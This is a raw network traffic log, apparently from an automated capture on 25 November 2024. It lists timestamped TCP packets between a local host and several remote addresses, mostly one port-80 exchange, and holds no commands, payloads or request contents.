Nov 25, 2024 18:28:53.013231039 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.013272047 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.015619040 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.015685081 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.015691042 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.015718937 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.017725945 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.017874956 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.017931938 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.020080090 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.020190001 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.020230055 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.020258904 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.022351027 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.022388935 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.022456884 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.022499084 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.024759054 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.024916887 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.024960041 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.027184963 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.027234077 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.027345896 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.027416945 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.029279947 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.029390097 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.029433966 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.031605959 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.031707048 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.031754971 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.031791925 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.033955097 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.033981085 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.034004927 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.034018993 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.036223888 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.036273956 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.036339045 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.036379099 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.038666964 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.038717031 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.038793087 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.038832903 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.041163921 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.041215897 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.041239023 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.041270971 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.043147087 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.043222904 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.043411970 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.043454885 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.045439005 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.045486927 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.045547962 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.045598030 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.046271086 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.046874046 CET	49893	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.046892881 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.047429085 CET	49893	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.047435045 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.047822952 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.047871113 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.047967911 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.048029900 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.050158024 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.050226927 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.050313950 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.050360918 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.052407026 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.052462101 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.052512884 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.052558899 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.054692984 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.054740906 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.054820061 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.054877043 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.056175947 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.056763887 CET	49895	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.056785107 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.057044029 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.057110071 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.057176113 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.057250977 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.057369947 CET	49895	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.057374954 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.059309959 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.059395075 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.059423923 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.059475899 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.061738014 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.061841011 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.061861992 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.061882019 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.099468946 CET	443	49898	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.099741936 CET	49898	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.099752903 CET	443	49898	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.101190090 CET	443	49898	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.101249933 CET	49898	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.101841927 CET	49898	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.101924896 CET	443	49898	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.102621078 CET	49898	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.102631092 CET	443	49898	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.102684975 CET	49898	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.102722883 CET	443	49898	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.135782957 CET	443	49889	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:53.135802984 CET	443	49889	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:53.135837078 CET	443	49889	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:53.135869026 CET	49889	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:53.135889053 CET	443	49889	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:53.135900974 CET	443	49889	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:53.135905027 CET	49889	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:53.135945082 CET	49889	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:53.137353897 CET	49889	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:53.137373924 CET	443	49889	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:53.137383938 CET	49889	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:53.137389898 CET	443	49889	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:53.142824888 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.142880917 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.143033981 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.143079996 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.143686056 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.143697977 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.143750906 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.144695997 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.144747019 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.144771099 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.144810915 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.146209955 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.146262884 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.146294117 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.146349907 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.148005009 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.148071051 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.148124933 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.148458958 CET	49898	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.149578094 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.149642944 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.149713993 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.149755955 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.151432991 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.151504993 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.151699066 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.151741982 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.153057098 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.153104067 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.153268099 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.153321028 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.154803991 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.154877901 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.154946089 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.154983044 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.156625986 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.156687975 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.156698942 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.156733036 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.158982992 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.159049034 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.159053087 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.159090996 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.160357952 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.160398006 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.160547018 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.160685062 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.162023067 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.162043095 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.162065029 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.162096977 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.165139914 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.165215015 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.165226936 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.165265083 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.165299892 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.165322065 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.165697098 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.166683912 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.166733980 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.166759014 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.166800976 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.168265104 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.168308973 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.168524981 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.168567896 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.170383930 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.170422077 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.170500994 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.170582056 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.171380043 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.171422958 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.171503067 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.171628952 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.181605101 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.181657076 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.181672096 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.181684017 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.181704044 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.181726933 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.181751013 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.181782961 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.181787014 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.181797028 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.181808949 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.181817055 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.181819916 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.181838036 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.181885958 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.181915998 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.181932926 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.181943893 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.181955099 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.181967974 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.181969881 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.181982040 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.181988001 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.182009935 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.182034969 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.182977915 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.182988882 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.183027983 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.184206963 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.184263945 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.184266090 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.184297085 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.185699940 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.185854912 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.185892105 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.185915947 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.187199116 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.187243938 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.187351942 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.187388897 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.189306974 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.189441919 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.189492941 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.191179037 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.191256046 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.191287994 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.191318035 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.192281961 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.192325115 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.192359924 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.192394018 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.193337917 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.193380117 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.193470955 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.193536997 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.194590092 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.194714069 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.194775105 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.195960999 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.196007967 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.196094036 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.196132898 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.197186947 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.197288036 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.197310925 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.197348118 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.198451996 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.198493004 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.198523045 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.198558092 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.199740887 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.199785948 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.199829102 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.199867010 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.201143026 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.201214075 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.201282978 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.201339960 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.202606916 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.202666998 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.202742100 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.202776909 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.204019070 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.204070091 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.204288960 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.204333067 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.205394030 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.205451012 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.205476999 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.205511093 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.206844091 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.206892967 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.206942081 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.207093954 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.208153963 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.208195925 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.208210945 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.208250046 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.209450960 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.209501028 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.209587097 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.209625006 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.210855961 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.210906982 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.210928917 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.210962057 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.212280035 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.212366104 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.212414980 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.212447882 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.213686943 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.213815928 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.213840961 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.213907957 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.215114117 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.215209961 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.215331078 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.215372086 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.216444969 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.216540098 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.216558933 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.216593027 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.217781067 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.217828035 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.217916965 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.218051910 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.219218969 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.219255924 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.219263077 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.219293118 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.220603943 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.220694065 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.226367950 CET	49903	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:53.226406097 CET	443	49903	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:53.226522923 CET	49903	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:53.226825953 CET	49903	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:53.226840019 CET	443	49903	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:53.330550909 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.330619097 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.330698967 CET	49896	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.330960989 CET	49896	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.330972910 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.330981970 CET	49896	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.330991030 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.334724903 CET	49904	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.334767103 CET	443	49904	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.335027933 CET	49904	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.335937977 CET	49904	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:53.335956097 CET	443	49904	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:53.343715906 CET	80	49892	185.215.113.16	192.168.2.5
